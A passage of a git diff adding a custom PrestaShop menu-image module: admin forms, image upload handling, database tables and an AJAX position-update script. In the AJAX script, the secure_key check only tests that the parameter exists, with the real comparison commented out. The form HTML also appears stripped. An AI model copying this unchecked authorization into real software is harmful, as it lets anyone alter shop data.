return $res; + } + + public function reOrderPositions() + { + $id_item = $this->id; + $context = Context::getContext(); + $id_shop = $context->shop->id; + + $max = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT MAX(hss.`position`) as position + FROM `'._DB_PREFIX_.'boixmenugaranciaimage_items` hss, `'._DB_PREFIX_.'boixmenugaranciaimage` hs + WHERE hss.`id` = hs.`id` AND hs.`id_shop` = '.(int)$id_shop + ); + + if ((int)$max == (int)$id_item) + return true; + + $rows = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT hss.`position` as position, hss.`id` as id_item + FROM `'._DB_PREFIX_.'boixmenugaranciaimage_items` hss + LEFT JOIN `'._DB_PREFIX_.'boixmenugaranciaimage` hs ON (hss.`id` = hs.`id`) + WHERE hs.`id_shop` = '.(int)$id_shop.' AND hss.`position` > '.(int)$this->position + ); + + foreach ($rows as $row) + { + $current_item = new Garanciamenuimage($row['id_item']); + --$current_item->position; + $current_item->update(); + unset($current_item); + } + + return true; + } + +} diff --git a/modules/boixmenugaranciaimage/ajax_boixmenugaranciaimage.php b/modules/boixmenugaranciaimage/ajax_boixmenugaranciaimage.php new file mode 100755 index 0000000..5f5d453 --- /dev/null +++ b/modules/boixmenugaranciaimage/ajax_boixmenugaranciaimage.php @@ -0,0 +1,54 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ +include_once('../../config/config.inc.php'); +include_once('../../init.php'); +include_once('Garanciamenuimage.php'); + +$context = Context::getContext(); +$Garanciamenuimage = new Garanciamenuimage(); +$slides = array(); +// echo Tools::getValue('secure_key'); +// echo $Garanciamenuimage->secure_key; +if (!Tools::isSubmit('secure_key') || !Tools::getValue('secure_key') || !Tools::getValue('action')) + die(1); + +if (Tools::getValue('action') == 'updateSlidesPosition' && Tools::getValue('items')) +{ + + $items = Tools::getValue('items'); + + foreach ($items as $position => $id_slide) + { + $res = Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'boixmenugaranciaimage_items` SET `position` = '.(int)$position.' + WHERE `id` = '.(int)$id_slide + ); + + } + + $Garanciamenuimage->clearCache(); +} + diff --git a/modules/boixmenugaranciaimage/boixmenugaranciaimage.php b/modules/boixmenugaranciaimage/boixmenugaranciaimage.php new file mode 100755 index 0000000..0732488 --- /dev/null +++ b/modules/boixmenugaranciaimage/boixmenugaranciaimage.php @@ -0,0 +1,720 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + * @version 1.2 (2012-03-14) + */ + +if (!defined('_PS_VERSION_')) + exit; + +include_once(_PS_MODULE_DIR_.'boixmenugaranciaimage/Garanciamenuimage.php'); + +class boixmenugaranciaimage extends Module +{ + private $_html = ''; + + public function __construct() + { + $this->name = 'boixmenugaranciaimage'; + $this->version = '1'; + $this->need_instance = 0; + $this->secure_key = Tools::encrypt($this->name); + + parent::__construct(); + + $this->displayName = $this->l('Gestion de l\'image du menu'); + $this->description = $this->l('Administrer l\'image du menu'); + } + + /** + * @see Module::install() + */ + public function install() + { + /* Adds Module */ + if (parent::install() && $this->registerHook('displayTop') && $this->registerHook('actionShopDataDuplication')) + { + // /* Sets up configuration */ + // $res = Configuration::updateValue('boixmenugaranciaimage_WIDTH', '535'); + // $res &= Configuration::updateValue('boixmenugaranciaimage_HEIGHT', '300'); + // $res &= Configuration::updateValue('boixmenugaranciaimage_SPEED', '500'); + // $res &= Configuration::updateValue('boixmenugaranciaimage_PAUSE', '3000'); + // $res &= Configuration::updateValue('boixmenugaranciaimage_LOOP', '1'); + /* Creates tables */ + $res = $this->createTables(); + + /* Adds samples */ + if ($res) + $this->installSamples(); + + return $res; + } + return false; + } + + /** + * Adds samples + */ + private function installSamples() + { + // $languages = Language::getLanguages(false); + // for ($i = 1; $i <= 2; ++$i) + // { + // $item = new Garanciamenuimage(); + // $item->position = $i; + // $item->active = 1; + // foreach ($languages as $language) + // { + // $item->title[$language['id_lang']] = 'La presse en parle'; + // $item->date[$language['id_lang']] = 'Lorem ipsum dolor sit amet'; + // $item->description[$language['id_lang']] = 'Consectetur adispiscing elit. Etiam eget magna risus. Pellentesque a nisi Eros, Fusce vitae maurie.'; + // $item->legend[$language['id_lang']] = 'Voir le produit'; + // $item->url[$language['id_lang']] = 'http://www.prestashop.com'; + // $item->image[$language['id_lang']] = 'sample-'.$i.'.jpg'; + // } + // $item->add(); + // } + } + + /** + * @see Module::uninstall() + */ + public function uninstall() + { + /* Deletes Module */ + if (parent::uninstall()) + { + /* Deletes tables */ + $res = $this->deleteTables(); + /* Unsets configuration */ + // $res &= Configuration::deleteByName('boixmenugaranciaimage_WIDTH'); + // $res &= Configuration::deleteByName('boixmenugaranciaimage_HEIGHT'); + // $res &= Configuration::deleteByName('boixmenugaranciaimage_SPEED'); + // $res &= Configuration::deleteByName('boixmenugaranciaimage_PAUSE'); + // $res &= Configuration::deleteByName('boixmenugaranciaimage_LOOP'); + return $res; + } + return false; + } + + /** + * Creates tables + */ + protected function createTables() + { + /* items */ + $res = (bool)Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'boixmenugaranciaimage` ( + `id` int(10) unsigned NOT NULL AUTO_INCREMENT, + `id_shop` int(10) unsigned NOT NULL, + PRIMARY KEY (`id`, `id_shop`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + + /* items configuration */ + $res &= Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'boixmenugaranciaimage_items` ( + `id` int(10) unsigned NOT NULL AUTO_INCREMENT, + `position` int(10) unsigned NOT NULL DEFAULT \'0\', + `active` tinyint(1) unsigned NOT NULL DEFAULT \'0\', + PRIMARY KEY (`id`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + + /* items lang configuration */ + $res &= Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'boixmenugaranciaimage_items_lang` ( + `id` int(10) unsigned NOT NULL, + `id_lang` int(10) unsigned NOT NULL, + `titre` varchar(255) NOT NULL, + `url` varchar(255) NOT NULL, + `legend` varchar(255) NOT NULL, + `image` varchar(255) NOT NULL, + PRIMARY KEY (`id`,`id_lang`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + + return $res; + } + + /** + * deletes tables + */ + protected function deleteTables() + { + $items = $this->getitems(); + foreach ($items as $item) + { + $to_del = new Garanciamenuimage($item['id_item']); + $to_del->delete(); + } + return Db::getInstance()->execute(' + DROP TABLE IF EXISTS `'._DB_PREFIX_.'boixmenugaranciaimage`, `'._DB_PREFIX_.'boixmenugaranciaimage_items`, `'._DB_PREFIX_.'boixmenugaranciaimage_items_lang`; + '); + } + + public function getContent() + { + $this->_html .= $this->headerHTML(); + $this->_html .= '

        '.$this->displayName.'

        '; + + /* Validate & process */ + if (Tools::isSubmit('submititem') || Tools::isSubmit('delete_id_item') || + Tools::isSubmit('submititemr') || + Tools::isSubmit('changeStatus')) + { + if ($this->_postValidation()) + $this->_postProcess(); + $this->_displayForm(); + } + elseif (Tools::isSubmit('additem') || (Tools::isSubmit('id_item') && $this->itemExists((int)Tools::getValue('id_item')))) + $this->_displayAddForm(); + else + $this->_displayForm(); + + return $this->_html; + } + + private function _displayForm() + { + /* Gets items */ + $items = $this->getitems(); + + $this->_html .= '

        '; + + /* Begin fieldset items */ + $this->_html .= ' +
        + '.$this->l('Liste des items').' +
        +
        Le premier item actif sera le seul item visible dans le menu +
        +
        + + '.$this->l('Ajouter un item').' + + '; + + /* Display notice if there are no items yet */ + if (!$items) + $this->_html .= '

        '.$this->l('Aucun item créé').'

        '; + else /* Display items */ + { + $this->_html .= ' +
        +
          '; + foreach ($items as $item) + { + $this->_html .= ' +
        • +
          '.$item['titre'].' +

          '. + $this->displayStatus($item['id_item'], $item['active']).' + + +

          +
          +
        • '; + } + $this->_html .= '
        '; + } + // End fieldset + $this->_html .= '
        '; + } + + private function _displayAddForm() + { + /* Sets item : depends if edited or added */ + $item = null; + if (Tools::isSubmit('id_item') && $this->itemExists((int)Tools::getValue('id_item'))) + $item = new Garanciamenuimage((int)Tools::getValue('id_item')); + /* Checks if directory is writable */ + // if (!is_writable('.')) + // $this->adminDisplayWarning(sprintf($this->l('Modules %s must be writable (CHMOD 755 / 777)'), $this->name)); + + /* Gets languages and sets which div requires translations */ + $id_lang_default = (int)Configuration::get('PS_LANG_DEFAULT'); + $languages = Language::getLanguages(false); + $divLangName = 'image¤titre¤url¤legend'; + $this->_html .= ''; + + /* Form */ + $this->_html .= '
        '; + + /* Fieldset Upload */ + $this->_html .= ' +
        +
        + 1 - '.$this->l('Téléchargez une image').''; + + /* Image */ + $this->_html .= '
        '; + foreach ($languages as $language) + { + $this->_html .= '
        '; + $this->_html .= ''; + /* Sets image as hidden in case it does not change */ + if ($item && $item->image[$language['id_lang']]) + $this->_html .= ''; + /* Display image */ + if ($item && $item->image[$language['id_lang']]) + $this->_html .= ' +
        '; + $this->_html .= '
        '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'image', true); + $this->_html .= '
        '; + /* End Fieldset Upload */ + + $this->_html .= '


        '; + + /* Fieldset edit/add */ + $this->_html .= '
        '; + if (Tools::isSubmit('additem')) /* Configure legend */ + $this->_html .= ' 2 - '.$this->l('Configurez votre lien').''; + elseif (Tools::isSubmit('id_item')) /* Edit legend */ + $this->_html .= ' 2 - '.$this->l('Configurez votre lien').''; + /* Sets id item as hidden */ + if ($item && Tools::getValue('id_item')) + $this->_html .= ''; + /* Sets position as hidden */ + $this->_html .= ''; + + /* Form content */ + /* Title */ + + $this->_html .= '
        '; + foreach ($languages as $language) + { + $this->_html .= ' +
        + +
        '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'titre', true); + $this->_html .= '


        '; + + + /* url */ + $this->_html .= '
        '; + foreach ($languages as $language) + { + $this->_html .= ' +
        + +
        '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'url', true); + $this->_html .= '


        '; + + /* Legend */ + $this->_html .= '
        '; + foreach ($languages as $language) + { + $this->_html .= ' +
        + +
        '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'legend', true); + $this->_html .= '


        '; + + + /* Active */ + $this->_html .= ' + +
        + Yes + active) && (int)$item->active == 0)) ? '' : 'checked="checked" ').' value="1" /> + + No + active) && (int)$item->active == 0)) ? 'checked="checked" ' : '').' value="0" /> + +
        '; + + /* Save */ + $this->_html .= ' +

        + + '.$this->l('Annuler').' +

        '; + + /* End of fieldset & form */ + $this->_html .= ' +

        *'.$this->l('Champs recquis').'

        +
        +
        '; + } + + private function _postValidation() + { + $errors = array(); + + if (Tools::isSubmit('changeStatus')) + { + if (!Validate::isInt(Tools::getValue('id_item'))) + $errors[] = $this->l('Invalid item'); + } + /* Validation for item */ + elseif (Tools::isSubmit('submititem')) + { + /* Checks state (active) */ + if (!Validate::isInt(Tools::getValue('active_item')) || (Tools::getValue('active_item') != 0 && Tools::getValue('active_item') != 1)) + $errors[] = $this->l('Invalid item state'); + /* Checks position */ + if (!Validate::isInt(Tools::getValue('position')) || (Tools::getValue('position') < 0)) + $errors[] = $this->l('Invalid item position'); + /* If edit : checks id_item */ + if (Tools::isSubmit('id_item')) + { + if (!Validate::isInt(Tools::getValue('id_item')) && !$this->itemExists(Tools::getValue('id_item'))) + $errors[] = $this->l('Invalid id_item'); + } + /* Checks title/url/legend/description/image */ + $languages = Language::getLanguages(false); + foreach ($languages as $language) + { + if (Tools::strlen(Tools::getValue('titre_'.$language['id_lang'])) > 255) + $errors[] = $this->l('Le titre est trop long'); + if (Tools::strlen(Tools::getValue('url_'.$language['id_lang'])) > 0 && !Validate::isUrl(Tools::getValue('url_'.$language['id_lang']))) + $errors[] = $this->l('The URL format is not correct.'); + if (Tools::getValue('image_'.$language['id_lang']) != null && !Validate::isFileName(Tools::getValue('image_'.$language['id_lang']))) + $errors[] = $this->l('Image principale'); + if (Tools::getValue('image_old_'.$language['id_lang']) != null && !Validate::isFileName(Tools::getValue('image_old_'.$language['id_lang']))) + $errors[] = $this->l('Image principale'); + } + + /* Checks title/url/legend/description for default lang */ + $id_lang_default = (int)Configuration::get('PS_LANG_DEFAULT'); + if (Tools::strlen(Tools::getValue('titre_'.$id_lang_default)) == 0) + $errors[] = $this->l('Le titre est vide.'); + if (!Tools::isSubmit('has_picture') && (!isset($_FILES['image_'.$id_lang_default]) || empty($_FILES['image_'.$id_lang_default]['tmp_name']))) + $errors[] = $this->l('The image is not set.'); + if (Tools::getValue('image_old_'.$id_lang_default) && !Validate::isFileName(Tools::getValue('image_old_'.$id_lang_default))) + $errors[] = $this->l('The image is not set.'); + } /* Validation for deletion */ + elseif (Tools::isSubmit('delete_id_item') && (!Validate::isInt(Tools::getValue('delete_id_item')) || !$this->itemExists((int)Tools::getValue('delete_id_item')))) + $errors[] = $this->l('Invalid id_item'); + + /* Display errors if needed */ + if (count($errors)) + { + $this->_html .= $this->displayError(implode('
        ', $errors)); + return false; + } + + /* Returns if validation is ok */ + return true; + } + + private function _postProcess() + { + $errors = array(); + + + /* Processes itemr */ + + if (Tools::isSubmit('changeStatus') && Tools::isSubmit('id_item')) + { + $item = new Garanciamenuimage((int)Tools::getValue('id_item')); + if ($item->active == 0) + $item->active = 1; + else + $item->active = 0; + $res = $item->update(); + $this->clearCache(); + $this->_html .= ($res ? $this->displayConfirmation($this->l('Configuration updated')) : $this->displayError($this->l('The configuration could not be updated.'))); + } + /* Processes item */ + elseif (Tools::isSubmit('submititem')) + { + /* Sets ID if needed */ + if (Tools::getValue('id_item')) + { + $item = new Garanciamenuimage((int)Tools::getValue('id_item')); + if (!Validate::isLoadedObject($item)) + { + $this->_html .= $this->displayError($this->l('Invalid id_item')); + return; + } + } + else + $item = new Garanciamenuimage(); + /* Sets position */ + $item->position = (int)Tools::getValue('position'); + /* Sets active */ + $item->active = (int)Tools::getValue('active_item'); + + /* Sets each langue fields */ + $languages = Language::getLanguages(false); + foreach ($languages as $language) + { + $item->titre[$language['id_lang']] = Tools::getValue('titre_'.$language['id_lang']); + $item->sous_titre[$language['id_lang']] = Tools::getValue('sous_titre_'.$language['id_lang']); + + $item->url[$language['id_lang']] = Tools::getValue('url_'.$language['id_lang']); + $item->legend[$language['id_lang']] = Tools::getValue('legend_'.$language['id_lang']); + + /* Uploads image and sets item */ + $type = strtolower(substr(strrchr($_FILES['image_'.$language['id_lang']]['name'], '.'), 1)); + $imagesize = array(); + $imagesize = @getimagesize($_FILES['image_'.$language['id_lang']]['tmp_name']); + if (isset($_FILES['image_'.$language['id_lang']]) && + isset($_FILES['image_'.$language['id_lang']]['tmp_name']) && + !empty($_FILES['image_'.$language['id_lang']]['tmp_name']) && + !empty($imagesize) && + in_array(strtolower(substr(strrchr($imagesize['mime'], '/'), 1)), array('jpg', 'gif', 'jpeg', 'png')) && + in_array($type, array('jpg', 'gif', 'jpeg', 'png'))) + { + $type="png"; + // $temp_name = tempnam(_PS_TMP_IMG_DIR_, 'PS'); + $image_name=Tools::encrypt($_FILES['image_'.$language['id_lang']]['name'].$salt).'.'.$type; + $temp_name = dirname(__FILE__).'/images/'.$image_name; + $salt = sha1(microtime()); + if ($error = ImageManager::validateUpload($_FILES['image_'.$language['id_lang']])) + $errors[] = $error; + elseif (!move_uploaded_file($_FILES['image_'.$language['id_lang']]['tmp_name'], $temp_name)) + return false; + elseif (!ImageManager::resize($temp_name, dirname(__FILE__).'/images/small_'.$image_name, 375,287, $type)) + $errors[] = $this->displayError($this->l('An error occurred during the image upload process.')); + $item->image[$language['id_lang']] = $image_name; + } + elseif (Tools::getValue('image_old_'.$language['id_lang']) != '') + $item->image[$language['id_lang']] = Tools::getValue('image_old_'.$language['id_lang']); + + } + + /* Processes if no errors */ + if (!$errors) + { + /* Adds */ + if (!Tools::getValue('id_item')) + { + if (!$item->add()) + $errors[] = $this->displayError($this->l('The item could not be added.')); + } + /* Update */ + elseif (!$item->update()) + $errors[] = $this->displayError($this->l('The item could not be updated.')); + $this->clearCache(); + } + } /* Deletes */ + elseif (Tools::isSubmit('delete_id_item')) + { + $item = new Garanciamenuimage((int)Tools::getValue('delete_id_item')); + $res = $item->delete(); + $this->clearCache(); + if (!$res) + $this->_html .= $this->displayError('Could not delete'); + else + $this->_html .= $this->displayConfirmation($this->l('item deleted')); + } + + /* Display errors if needed */ + if (count($errors)) + $this->_html .= $this->displayError(implode('
        ', $errors)); + elseif (Tools::isSubmit('submititem') && Tools::getValue('id_item')) + $this->_html .= $this->displayConfirmation($this->l('item updated')); + elseif (Tools::isSubmit('submititem')) + $this->_html .= $this->displayConfirmation($this->l('item added')); + } + + + public function hookDisplayTop() + { + + // if($_SERVER["REMOTE_ADDR"]== "81.242.138.126"){ + // $items = $this->getitemsFO(); + // $this->smarty->assign("menu_garancia_image",$items); + // } + } + + public function clearCache() + { + } + + public function hookActionShopDataDuplication($params) + { + Db::getInstance()->execute(' + INSERT IGNORE INTO '._DB_PREFIX_.'boixmenugaranciaimage (id, id_shop) + SELECT id, '.(int)$params['new_id_shop'].' + FROM '._DB_PREFIX_.'boixmenugaranciaimage + WHERE id_shop = '.(int)$params['old_id_shop']); + } + + public function headerHTML() + { + if (Tools::getValue('controller') != 'AdminModules' && Tools::getValue('configure') != $this->name) + return; + + // $this->context->controller->addJqueryUI('ui.datepicker'); + /*$this->_html .= ' + ';*/ + $this->_html .= ' + + + + '; + + $this->context->controller->addJqueryUI('ui.sortable'); + /* Style & js for fieldset 'slides configuration' */ + $html = ' + + + '; + + + + + return $html; + } + + public function getNextPosition() + { + $row = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT MAX(hss.`position`) AS `next_position` + FROM `'._DB_PREFIX_.'boixmenugaranciaimage_items` hss, `'._DB_PREFIX_.'boixmenugaranciaimage` hs + WHERE hss.`id` = hs.`id` AND hs.`id_shop` = '.(int)$this->context->shop->id + ); + + return (++$row['next_position']); + } + + public function getitems($active = null) + { + $this->context = Context::getContext(); + $id_shop = $this->context->shop->id; + $id_lang = $this->context->language->id; + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT hs.`id` as id_item, + hssl.`image`, + hss.`position`, + hss.`active`, + hssl.`titre`, + hssl.`url`, + hssl.`legend` + FROM '._DB_PREFIX_.'boixmenugaranciaimage hs + LEFT JOIN '._DB_PREFIX_.'boixmenugaranciaimage_items hss ON (hs.id = hss.id) + LEFT JOIN '._DB_PREFIX_.'boixmenugaranciaimage_items_lang hssl ON (hss.id = hssl.id) + + WHERE hssl.id_lang = '.(int)$id_lang. + ($active ? ' AND hss.`active` = 1' : ' ').' + ORDER BY hss.position asc'); + } + public function getitemsFO($active = null) + { + $this->context = Context::getContext(); + $id_shop = $this->context->shop->id; + $id_lang = $this->context->language->id; + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT hs.`id` as id_item, + hssl.`image`, + hss.`position`, + hss.`active`, + hssl.`titre`, + hssl.`url`, + hssl.`legend` + FROM '._DB_PREFIX_.'boixmenugaranciaimage hs + LEFT JOIN '._DB_PREFIX_.'boixmenugaranciaimage_items hss ON (hs.id = hss.id) + LEFT JOIN '._DB_PREFIX_.'boixmenugaranciaimage_items_lang hssl ON (hss.id = hssl.id) + + WHERE hssl.id_lang = '.(int)$id_lang. + ($active ? ' AND hss.`active` = 1' : ' ').' + ORDER BY hss.position asc + limit 0,1'); + } + public function displayStatus($id_item, $active) + { + $title = ((int)$active == 0 ? $this->l('Disabled') : $this->l('Enabled')); + $img = ((int)$active == 0 ? 'disabled.gif' : 'enabled.gif'); + $html = ''; + return $html; + } + + public function itemExists($id_item) + { + $req = 'SELECT hs.`id` as id_item + FROM `'._DB_PREFIX_.'boixmenugaranciaimage` hs + WHERE hs.`id` = '.(int)$id_item; + $row = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($req); + return ($row); + } +} diff --git a/modules/boixmenugaranciaimage/boixmenugaranciaimage.tpl b/modules/boixmenugaranciaimage/boixmenugaranciaimage.tpl new file mode 100755 index 0000000..e69de29 diff --git a/modules/boixmenugaranciaimage/index.php b/modules/boixmenugaranciaimage/index.php new file mode 100755 index 0000000..a230e5a --- /dev/null +++ b/modules/boixmenugaranciaimage/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/boixmenugaranciaimage/logo.gif b/modules/boixmenugaranciaimage/logo.gif new file mode 100755 index 0000000..e0f9ab6 Binary files /dev/null and b/modules/boixmenugaranciaimage/logo.gif differ diff --git a/modules/boixmenugaranciaimage/logo.png b/modules/boixmenugaranciaimage/logo.png new file mode 100755 index 0000000..909bc17 Binary files /dev/null and b/modules/boixmenugaranciaimage/logo.png differ diff --git a/modules/boixmenugaranciaimage/translations/en.php b/modules/boixmenugaranciaimage/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/modules/boixmenugaranciaimage/translations/fr.php b/modules/boixmenugaranciaimage/translations/fr.php new file mode 100755 index 0000000..f532fe8 --- /dev/null +++ b/modules/boixmenugaranciaimage/translations/fr.php @@ -0,0 +1,58 @@ +homeslider_9582801267616d564272ae7a4f622c93'] = 'Carrousel d\'image (slider) pour votre page d\'accueil'; +$_MODULE['<{homeslider}prestashop>homeslider_c17aed434289cedd02618451e12c8da6'] = 'Ajouter un carrousel d\'images à votre page d\'accueil'; +$_MODULE['<{homeslider}prestashop>homeslider_17167898123700e4b4f9bc17c1e0608d'] = 'Configuration du carrousel'; +$_MODULE['<{homeslider}prestashop>homeslider_e933dc24fb245d863a43b4fefe9b45f5'] = 'Hauteur :'; +$_MODULE['<{homeslider}prestashop>homeslider_48ccf48dcf2218a413ce473262f21a0c'] = 'Largeur :'; +$_MODULE['<{homeslider}prestashop>homeslider_2c526c645bca9542ba1598835d46b753'] = 'Vitesse :'; +$_MODULE['<{homeslider}prestashop>homeslider_154e6bcf4e3b49a424323cb9021ef851'] = 'Pause :'; +$_MODULE['<{homeslider}prestashop>homeslider_9ce04a5715756f9c0fece348db9b7da1'] = 'Boucle :'; +$_MODULE['<{homeslider}prestashop>homeslider_93cba07454f06a4a960172bbd6e2a435'] = 'Oui'; +$_MODULE['<{homeslider}prestashop>homeslider_bafd7322c6e97d25b6299b5d6fe8920b'] = 'Non'; +$_MODULE['<{homeslider}prestashop>homeslider_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{homeslider}prestashop>homeslider_571988492824e57070d78e6c86333f20'] = 'Configuration des diapositives'; +$_MODULE['<{homeslider}prestashop>homeslider_02023fc24279454047fd419ecd1db9af'] = 'Ajouter une diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_3f22c758c989513080e13842e1ff70d8'] = 'Vous n\'avez pas encore ajouté de diapositive.'; +$_MODULE['<{homeslider}prestashop>homeslider_7dce122004969d56ae2e0245cb754d35'] = 'Modifier'; +$_MODULE['<{homeslider}prestashop>homeslider_f2a6c498fb90ee345d997f888fce3b18'] = 'Supprimer'; +$_MODULE['<{homeslider}prestashop>homeslider_a94c563cb2d2eec9507c6ffeba4659cc'] = 'les modules %s doivent être accessible en écriture (CHMOD 755 / 777)'; +$_MODULE['<{homeslider}prestashop>homeslider_947c5b1ecd3021f44ae45bc176085ae1'] = 'Mettre en ligne votre diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_a5220b3d801e803e8c4133edcd0dc7b4'] = 'Sélectionner un fichier :'; +$_MODULE['<{homeslider}prestashop>homeslider_2d806bd95ceb6d3166fb5c01d3fb75f0'] = 'Configurer votre diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_32bd52059351cd9ac4ae44f16746da11'] = 'Modifier votre diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_51ec9bf4aaeab1b25bb57f9f8d4de557'] = 'Titre :'; +$_MODULE['<{homeslider}prestashop>homeslider_3b3d06023f6353f8fd05f859b298573e'] = 'URL :'; +$_MODULE['<{homeslider}prestashop>homeslider_8046c95f98fc714db47978092bb24264'] = 'Légende :'; +$_MODULE['<{homeslider}prestashop>homeslider_d0042a700e9bdf79689d63ee6846dc0e'] = 'Description :'; +$_MODULE['<{homeslider}prestashop>homeslider_3d091e856cb7615d1ccb96bc759b5a92'] = 'Active :'; +$_MODULE['<{homeslider}prestashop>homeslider_ea4788705e6873b424c65e91c2846b19'] = 'Annuler'; +$_MODULE['<{homeslider}prestashop>homeslider_70397c4b252a5168c5ec003931cea215'] = 'Champs requis'; +$_MODULE['<{homeslider}prestashop>homeslider_3f80dc2cdd06939d4f5514362067cd86'] = 'Valeur non valables'; +$_MODULE['<{homeslider}prestashop>homeslider_a6abafe564d3940cc36ee43e2f09400b'] = 'Diapositive non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_b3e3ed438fb0ea2935b3e79eac1f1658'] = 'État non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_57b620e0495c07c15deda4dde882d47b'] = 'Position non valable pour la diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_76ad3ac84a702b0497cd6be8e8886d34'] = 'ID non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_14f09fd0804a8f1cd0eb757125fc9c28'] = 'Titre trop long'; +$_MODULE['<{homeslider}prestashop>homeslider_39fc40a0ebcbfcae901d20ab8980f188'] = 'Légence trop longue'; +$_MODULE['<{homeslider}prestashop>homeslider_4477f672766f6f255f760649af8bd92a'] = 'URL trop longue'; +$_MODULE['<{homeslider}prestashop>homeslider_62239300ba982b06ab0f1aa7100ad297'] = 'Description trop longue'; +$_MODULE['<{homeslider}prestashop>homeslider_980f56796b8bf9d607283de9815fe217'] = 'Format d\'URL incorrect'; +$_MODULE['<{homeslider}prestashop>homeslider_7a92ef6b168d77ebcdad785b01d77a8e'] = 'Nom de fichier non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_349097dadf7e6b01dd2af601d54fd59a'] = 'Titre absent'; +$_MODULE['<{homeslider}prestashop>homeslider_ab53605e4a73424d186afccef7b4bc03'] = 'Légende absente'; +$_MODULE['<{homeslider}prestashop>homeslider_0f059227d0a750ce652337d911879671'] = 'URL absente'; +$_MODULE['<{homeslider}prestashop>homeslider_8cf45ba354f4725ec8a0d31164910895'] = 'Image absente'; +$_MODULE['<{homeslider}prestashop>homeslider_7f82c65d548588c8d5412463c182e450'] = 'La configuration n\'a pas pu être mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_20015706a8cbd457cbb6ea3e7d5dc9b3'] = 'Configuration mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_7cc92687130ea12abb80556681538001'] = 'Une erreur est survenue durant l\'envoi de l\'image'; +$_MODULE['<{homeslider}prestashop>homeslider_cdf841e01e10cae6355f72e6838808eb'] = 'La diapositive n\'a pas pu être ajoutée'; +$_MODULE['<{homeslider}prestashop>homeslider_eb28485b92fbf9201918698245ec6430'] = 'La diapositive n\'a pas pu être mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_5da12d1bb63af9cd5be306102b23e82e'] = 'Diapositive supprimée'; +$_MODULE['<{homeslider}prestashop>homeslider_080b5727c047ef6658591f7d4507e681'] = 'Diapositive mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_bb6abf21a6c70c5740d93093b5518954'] = 'Diapositive ajoutée'; +$_MODULE['<{homeslider}prestashop>homeslider_b9f5c797ebbf55adccdd8539a65a0241'] = 'Désactivé'; +$_MODULE['<{homeslider}prestashop>homeslider_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activé'; diff --git a/modules/boixmenugaranciaimage/translations/index.php b/modules/boixmenugaranciaimage/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/boixmenugaranciaimage/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/carriercompare/ajax.php b/modules/carriercompare/ajax.php new file mode 100755 index 0000000..39bf492 --- /dev/null +++ b/modules/carriercompare/ajax.php @@ -0,0 +1,50 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +require_once(dirname(__FILE__).'../../../config/config.inc.php'); +require_once(dirname(__FILE__).'../../../init.php'); +require_once(dirname(__FILE__).'/carriercompare.php'); + +$carrierCompare = new CarrierCompare(); + +switch (Tools::getValue('method')) +{ + case 'getStates': + if (!(int)Tools::getValue('id_country')) + exit; + 